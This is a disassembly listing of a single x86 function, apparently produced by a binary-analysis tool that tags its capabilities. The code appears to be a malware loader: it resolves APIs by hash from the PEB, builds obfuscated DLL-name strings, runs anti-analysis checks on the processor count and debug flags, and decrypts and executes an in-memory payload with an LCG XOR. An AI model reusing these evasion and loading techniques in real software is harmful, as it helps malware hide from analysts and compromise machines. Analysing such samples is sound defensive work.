Function at 0x425679
Capabilities:
Access peb ldr_data
Check os version
Get number of processors
Get process filename
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
mov ecx, dword fs:[0x30]
mov eax, dword fs:[0x24]
neg eax
mov dword [esp + 0x50], ecx
push ebx
mov ebx, dword fs:[0x30]
sbb eax, eax
mov edx, dword [ecx + 8]
inc eax
mov dword [esp + 0xa0], ebx
xor ebx, ebx
cmp dword [ebp + 8], 0x19a01fb3
push esi
push edi
mov dword [esp + 0xac], edx
jne 0x425d31
mov eax, dword fs:[0x24]
mov edi, dword fs:[0x20]
neg eax
sbb eax, eax
inc eax
neg edi
mov dword [esp + 0x38], eax
mov eax, dword fs:[0x30]
sbb edi, edi
inc edi
mov dword [esp + 0x18], edi
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0x18]
test eax, eax
je 0x425790
mov ecx, dword fs:[0x30]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov esi, dword [ecx + 8]
cmp byte [esi + 1], 0x5a
je 0x425727
mov ecx, ebx
mov ebx, dword [esp + 0xc]
lea eax, [ecx + ebx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0xa
jb 0x425719
xor ebx, ebx
mov ecx, dword [edx + 0x30]
movzx eax, word [ecx]
cmp eax, 0x6b
je 0x425737
cmp eax, 0x4b
jne 0x42573e
cmp word [ecx + 0xc], 0x33
je 0x425770
mov esi, dword fs:[0x30]
mov eax, dword [esi + 0x64]
mov dword [esp + 0xc], eax
cmp eax, 0x1f4
jbe 0x425765
mov ecx, ebx
mov ebx, eax
lea eax, [ecx + ebx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0x13
jb 0x425757
xor ebx, ebx
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
test eax, eax
jne 0x4256fb
jmp 0x425798
mov edx, dword fs:[0x30]
mov esi, dword [edx + 8]
cmp byte [esi + 1], 0x5a
je 0x425798
mov ecx, ebx
lea eax, [ecx + edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0xa
jb 0x425782
jmp 0x425798
mov edx, dword [esp + 0x5c]
mov dword [esp + 0x10], edx
mov ecx, dword [esp + 0x10]
mov edx, 0x1a8474cf
call fcn.0042604e
mov ecx, dword [esp + 0x10]
mov edx, 0xbe4af256
mov dword [esp + 0x64], eax
call fcn.0042604e
mov esi, dword fs:[0x30]
mov edx, 0xa912b16a
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x68], eax
call fcn.0042604e
mov ecx, dword [esp + 0x10]
mov edx, 0x21a562c5
mov dword [esp + 0x6c], eax
call fcn.0042604e
mov ecx, dword [esp + 0x10]
mov edx, 0x20ae72eb
mov dword [esp + 0x70], eax
call fcn.0042604e
mov edx, dword fs:[0x24]
neg edx
mov dword [esp + 0x74], eax
sbb dl, dl
inc dl
mov byte [esp + 0x60], dl
mov eax, dword [esi + 0xa4]
mov dword [esp + 0x14], eax
lea eax, [edx + 0x57]
mov byte [esp + 0x48], al
lea ecx, [edx + 0x69]
lea eax, [edx + 0x6e]
mov byte [esp + 0x49], cl
mov byte [esp + 0x4a], al
mov byte [esp + 0x4b], cl
mov ecx, dword [esi + 0xc]
mov byte [esp + 0x4c], al
lea eax, [edx + 0x65]
mov byte [esp + 0x4d], al
lea eax, [edx + 0x74]
mov byte [esp + 0x4e], al
lea eax, [edx + 0x2e]
mov byte [esp + 0x4f], al
lea eax, [edx + 0x64]
mov byte [esp + 0x50], al
lea eax, [edx + 0x6c]
mov byte [esp + 0x51], al
mov byte [esp + 0x52], al
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x10], ecx
mov byte [esp + 0x57], dl
call dword [esp + 0x78]
mov esi, eax
mov edx, 0xbf08a076
mov ecx, esi
call fcn.0042604e
mov edx, 0x21be53f0
mov dword [esp + 0x78], eax
mov ecx, esi
call fcn.0042604e
mov dword [esp + 0x7c], eax
mov edx, 0x56fc46d8
mov eax, dword fs:[0x30]
mov ecx, esi
mov dword [esp + 0x20], eax
call fcn.0042604e
mov edx, 0x49df0a97
mov dword [esp + 0x80], eax
mov ecx, esi
call fcn.0042604e
mov edx, 0x67c80aa5
mov dword [esp + 0x84], eax
mov ecx, esi
call fcn.0042604e
mov edx, 0xae4ef37b
mov dword [esp + 0x88], eax
mov ecx, esi
call fcn.0042604e
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x64]
mov edx, 0x5dc014ba
mov ecx, esi
mov dword [esp + 0x10], eax
call fcn.0042604e
mov edx, 0x57cb01a6
mov dword [esp + 0x90], eax
mov ecx, esi
call fcn.0042604e
mov edx, 0xf8513ab
mov dword [esp + 0x94], eax
mov ecx, esi
call fcn.0042604e
cmp dword [esp + 0x14], 2
mov dword [esp + 0x98], eax
jae 0x42594a
mov edi, dword [esp + 0x14]
mov ecx, ebx
mov edx, dword [esp + 0xc]
lea eax, [edi + ecx]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, 3
jb 0x425939
mov edi, dword [esp + 0x18]
mov cl, byte [esp + 0x60]
mov edx, dword fs:[0x30]
mov dword [esp + 0x14], edx
lea eax, [ecx + 0x6d]
add cl, 0x73
cmp dword [esp + 0x10], 0x1f4
mov byte [esp + 0x3d], cl
mov cl, byte [esp + 0x60]
mov byte [esp + 0x3c], al
lea eax, [ecx + 0x76]
mov byte [esp + 0x3e], al
lea eax, [ecx + 0x63]
mov byte [esp + 0x3f], al
lea eax, [ecx + 0x72]
mov byte [esp + 0x40], al
lea eax, [ecx + 0x74]
mov byte [esp + 0x41], al
lea eax, [ecx + 0x2e]
mov byte [esp + 0x42], al
jbe 0x4259b6
mov edx, dword [esp + 0x10]
mov ecx, ebx
mov esi, dword [esp + 0x20]
lea eax, [ecx + edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0x13
jb 0x4259a2
mov cl, byte [esp + 0x60]
mov edx, dword [esp + 0x14]
lea eax, [ecx + 0x64]
mov byte [esp + 0x43], al
lea eax, [ecx + 0x6c]
mov byte [esp + 0x44], al
mov edx, dword [edx + 8]
mov byte [esp + 0x45], al
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x2c], edx
mov byte [esp + 0x4a], cl
call dword [esp + 0x78]
mov edx, 0x178204b9
mov ecx, eax
call fcn.0042604e
push ebx
push ebx
push 0x14438
push dword [esp + 0x78]
mov dword [esp + 0xac], eax
push ebx
push ebx
call dword [esp + 0x7c]
mov ecx, dword fs:[0x30]
push 0x13880
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], ecx
call dword [esp + 0x70]
cmp eax, 0x102
jne 0x426045
test edi, edi
je 0x425a77
mov eax, dword fs:[0x30]
mov edx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov edi, dword [eax + 0x64]
mov esi, dword [edx + 8]
mov dword [esp + 0xc], edi
cmp byte [esi + 1], 0x5a
je 0x425a57
mov ecx, ebx
lea eax, [ecx + edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0xa
jb 0x425a4b
cmp edi, 0x1f4
jbe 0x425a77
mov edx, dword [esp + 0x18]
mov ecx, ebx
mov ebx, dword [esp + 0xc]
lea eax, [ecx + ebx]
mov byte [ecx + edx], al
inc ecx
cmp ecx, 0x13
jb 0x425a69
xor ebx, ebx
mov edx, dword [esp + 0x28]
cmp byte [edx + 1], 0x5a
je 0x425a95
mov ecx, ebx
mov ebx, dword [esp + 0x14]
lea eax, [ecx + ebx]
mov byte [ecx + edx], al
inc ecx
cmp ecx, 0xa
jb 0x425a87
xor ebx, ebx
mov esi, ebx
jmp 0x425aef
mov eax, dword fs:[0x30]
mov edx, dword [esp + 0x10]
mov edi, dword [eax + 0xa4]
mov ecx, dword [edx + 8]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x20], ecx
cmp edi, 2
jae 0x425ad1
mov ecx, ebx
mov edx, eax
lea eax, [edi + ecx]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, 3
jb 0x425abc
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, 0xffffffff
je 0x425b24
cmp byte [ecx + 1], 0x5a
je 0x425aef
mov edi, dword [esp + 0x20]
mov ecx, ebx
lea eax, [ecx + edx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0xa
jb 0x425ae3
mov eax, dword fs:[0x30]
push ebx
push dword [esp + 0x20]
mov dword [esp + 0x18], eax
call dword [esp + 0x70]
test eax, eax
jne 0x425a99
mov edx, dword fs:[0x30]
mov edi, dword [edx + 8]
cmp byte [edi + 1], 0x5a
je 0x425b24
mov ecx, ebx
lea eax, [ecx + edx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0xa
jb 0x425b18
cmp esi, 0x26000
jb 0x426045
cmp dword [esp + 0x38], 0
je 0x425b82
mov eax, dword fs:[0x30]
mov esi, dword fs:[0x30]
mov dword [esp + 0xc], esi
mov edx, dword [eax + 0xa4]
mov edi, dword [eax + 0xc]
mov esi, dword [esi + 8]
cmp edx, 2
jae 0x425b68
mov ecx, ebx
lea eax, [edx + ecx]
mov word [edi + ecx*2], ax
inc ecx
cmp ecx, 3
jb 0x425b5b
cmp byte [esi + 1], 0x5a
je 0x425b82
mov ecx, ebx
mov ebx, dword [esp + 0xc]
lea eax, [ecx + ebx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0xa
jb 0x425b74
xor ebx, ebx
mov eax, dword [esp + 0x24]
push 4
push 0x1000
push 0x330
mov edi, dword [eax + 0xa4]
push ebx
call dword [esp + 0x80]
push 0x330
mov esi, eax
push ebx
push esi
call dword [esp + 0xa8]
lea eax, [esp + 0x6c]
lea edx, [esi + 4]
mov dword [esi], eax
mov ecx, eax
call fcn.00426216
push dword [esp + 0x70]
mov ecx, dword [esp + 0x34]
push dword [esp + 0x80]
push dword [ebp + 0x10]
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 0xc]
push esi
push 0x19a01fb3
add eax, 0x3337b
call eax
mov edx, dword [esi + 0x31c]
add esp, 0x20
mov dword [esp + 0x10], edx
cmp edi, 2
jae 0x425c12
mov edx, dword [esp + 0xc]
mov ecx, ebx
lea eax, [edi + ecx]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, 3
jb 0x425c01
mov edx, dword [esp + 0x10]
mov ecx, dword [esi + 0x320]
shr ecx, 2
cmp byte [esi + 0x32c], 0
mov dword [esp + 0x14], ecx
je 0x425c99
mov edx, dword fs:[0x30]
mov edi, dword [esi + 0x31c]
mov eax, dword [edx + 0x64]
mov dword [esp + 0xc], eax
cmp eax, 0x1f4
jbe 0x425c55
mov ecx, ebx
mov ebx, eax
lea eax, [ecx + ebx]
mov byte [ecx + edx], al
inc ecx
cmp ecx, 0x13
jb 0x425c47
xor ebx, ebx
mov edx, dword fs:[0x30]
mov eax, dword [edx + 0x64]
mov dword [esp + 0xc], eax
cmp eax, 0x1f4
jbe 0x425c7c
mov ecx, ebx
mov ebx, eax
lea eax, [ecx + ebx]
mov byte [ecx + edx], al
inc ecx
cmp ecx, 0x13
jb 0x425c6e
xor ebx, ebx
mov ecx, dword [esi + 0x320]
mov edx, dword [esi + 0x31c]
add edx, dword [edi + 0xa]
sub ecx, dword [edi + 0xa]
shr ecx, 2
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
mov edi, dword [edx]
xor esi, esi
inc esi
cmp ecx, esi
jbe 0x425d21
mov eax, dword fs:[0x30]
imul edi, edi, 0x41c64e6d
mov dword [esp + 0x18], eax
add edi, 0x3039
xor dword [edx + esi*4], edi
mov eax, dword [eax + 8]
cmp byte [eax + 1], 0x5a
je 0x425ce4
mov ecx, dword [esp + 0x18]
mov edx, eax
mov dword [esp + 0xc], ebx
lea eax, [ebx + ecx]
mov byte [ebx + edx], al
inc ebx
cmp ebx, 0xa
jb 0x425cce
mov ecx, dword [esp + 0x14]
xor ebx, ebx
mov edx, dword [esp + 0x10]
mov eax, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov eax, dword [eax + 0x64]
mov dword [esp + 0x28], eax
cmp eax, 0x1f4
jbe 0x425d1c
mov ecx, dword [esp + 0x18]
mov edx, eax
mov dword [esp + 0xc], ebx
lea eax, [ebx + edx]
mov byte [ebx + ecx], al
inc ebx
cmp ebx, 0x13
jb 0x425d06
mov ecx, dword [esp + 0x14]
xor ebx, ebx
mov edx, dword [esp + 0x10]
inc esi
cmp esi, ecx
jb 0x425ca2
lea eax, [edx + 4]
call eax
push 0xffffffffffffffff
call dword [esp + 0x70]
jmp 0x426006
test eax, eax
je 0x426006
mov edx, dword fs:[0x30]
mov eax, dword fs:[0x30]
mov edi, dword fs:[0x30]
mov dword [esp + 0x2c], eax
mov esi, dword [edx + 8]
cmp byte [esi + 1], 0x5a
je 0x425d68
mov ecx, ebx
lea eax, [ecx + edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0xa
jb 0x425d5c
mov eax, dword fs:[0x30]
mov edx, dword [edi + 0x64]
mov dword [esp + 0x14], eax
mov eax, dword fs:[0x30]
mov esi, dword fs:[0x30]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0xa4]
mov dword [esp + 0x38], eax
mov eax, dword fs:[0x30]
mov dword [esp + 0x10], eax
mov eax, dword fs:[0x30]
mov ecx, dword fs:[0x30]
mov dword [esp + 0xc], eax
mov dword [esp + 0x34], ecx
cmp edx, 0x1f4
jbe 0x425dcd
mov ecx, ebx
lea eax, [ecx + edx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0x13
jb 0x425dbd
mov eax, dword [esp + 0xc]
mov ecx, dword [esi + 0xa4]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x24]
mov edi, dword [ecx + 0x64]
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], ecx
mov ecx, dword [eax + 0xa4]
mov dword [esp + 0x28], ecx
mov ecx, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x54], eax
mov dword [esp + 0xa4], edi
mov eax, dword [ecx + 0x64]
mov dword [esp + 0x1c], eax
mov eax, dword [esi + 0xc]
mov esi, dword [esp + 0x14]
mov dword [esp + 0x58], ecx
mov dword [esp + 0x30], eax
mov edx, dword [esi + 0x64]
cmp edx, 0x1f4
jbe 0x425e37
mov ecx, ebx
lea eax, [ecx + edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, 0x13
jb 0x425e2b
mov eax, dword fs:[0x30]
mov esi, 0x1f4
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x64]
mov dword [esp + 0x14], eax
cmp edi, esi
jbe 0x425e70
mov edx, dword [esp + 0x24]
mov ecx, ebx
mov ebx, dword [esp + 0xa4]
lea eax, [ecx + ebx]
mov byte [ecx + edx], al
inc ecx
cmp ecx, 0x13
jb 0x425e62
xor ebx, ebx
cmp dword [esp + 0x1c], esi
jbe 0x425e8e
mov edx, dword [esp + 0x58]
mov ecx, ebx
mov ebx, dword [esp + 0x1c]
lea eax, [ecx + ebx]
mov byte [ecx + edx], al
inc ecx
cmp ecx, 0x13
jb 0x425e80
xor ebx, ebx
push 3
pop edx
push 2
pop esi
cmp dword [esp + 0x20], esi
jae 0x425eb2
mov edi, dword [esp + 0x30]
mov ecx, ebx
mov ebx, dword [esp + 0x20]
lea eax, [ebx + ecx]
mov word [edi + ecx*2], ax
inc ecx
cmp ecx, edx
jb 0x425ea4
xor ebx, ebx
cmp dword [esp + 0x14], 0x1f4
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 0x64]
mov dword [esp + 0x1c], eax
jbe 0x425edf
mov edi, dword [esp + 0x10]
mov ecx, ebx
mov ebx, dword [esp + 0x14]
lea eax, [ecx + ebx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0x13
jb 0x425ed1
xor ebx, ebx
mov eax, dword [esp + 0x34]
mov eax, dword [eax + 0x64]
mov dword [esp + 0x24], eax
mov eax, dword fs:[0x30]
mov dword [esp + 0x30], eax
mov edi, dword [eax + 8]
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x58], eax
mov eax, dword fs:[0x30]
cmp byte [edi + 1], 0x5a
mov dword [esp + 0x2c], eax
je 0x425f26
mov ecx, ebx
mov ebx, dword [esp + 0x30]
lea eax, [ecx + ebx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0xa
jb 0x425f18
xor ebx, ebx
cmp dword [esp + 0x24], 0x1f4
jbe 0x425f48
mov edi, dword [esp + 0x34]
mov ecx, ebx
mov ebx, dword [esp + 0x24]
lea eax, [ecx + ebx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0x13
jb 0x425f3a
xor ebx, ebx
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0xa4]
mov dword [esp + 0x34], eax
cmp dword [esp + 0x38], esi
jae 0x425f74
mov edi, dword [esp + 0x58]
mov ecx, ebx
mov ebx, dword [esp + 0x38]
lea eax, [ebx + ecx]
mov word [edi + ecx*2], ax
inc ecx
cmp ecx, edx
jb 0x425f66
xor ebx, ebx
mov edi, dword [esp + 0x18]
mov edi, dword [edi + 8]
mov dword [esp + 0x30], edi
cmp dword [esp + 0x28], esi
jae 0x425fa1
mov edi, dword [esp + 0x28]
mov ecx, ebx
mov ebx, dword [esp + 0x54]
lea eax, [edi + ecx]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edx
jb 0x425f8f
mov edi, dword [esp + 0x30]
xor ebx, ebx
cmp byte [edi + 1], 0x5a
je 0x425fbb
mov ecx, ebx
mov ebx, dword [esp + 0x18]
lea eax, [ecx + ebx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0xa
jb 0x425fad
xor ebx, ebx
cmp dword [esp + 0x1c], 0x1f4
mov eax, dword [esp + 0x2c]
mov edi, dword [eax + 0xc]
mov dword [esp + 0x54], edi
jbe 0x425fec
mov edi, dword [esp + 0xc]
mov ecx, ebx
mov ebx, dword [esp + 0x1c]
lea eax, [ecx + ebx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0x13
jb 0x425fda
mov edi, dword [esp + 0x54]
xor ebx, ebx
cmp dword [esp + 0x34], esi
jae 0x426006
mov ecx, ebx
mov ebx, dword [esp + 0x34]
lea eax, [ebx + ecx]
mov word [edi + ecx*2], ax
inc ecx
cmp ecx, edx
jb 0x425ff8
xor ebx, ebx
mov edi, dword [esp + 0xac]
mov esi, dword [esp + 0xa8]
cmp byte [edi + 1], 0x5a
mov edx, dword [esi + 0x64]
je 0x426031
mov ecx, ebx
mov ebx, dword [esp + 0x5c]
lea eax, [ecx + ebx]
mov byte [ecx + edi], al
inc ecx
cmp ecx, 0xa
jb 0x426023
xor ebx, ebx
cmp edx, 0x1f4
jbe 0x426045
lea eax, [ebx + edx]
mov byte [ebx + esi], al
inc ebx
cmp ebx, 0x13
jb 0x426039
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret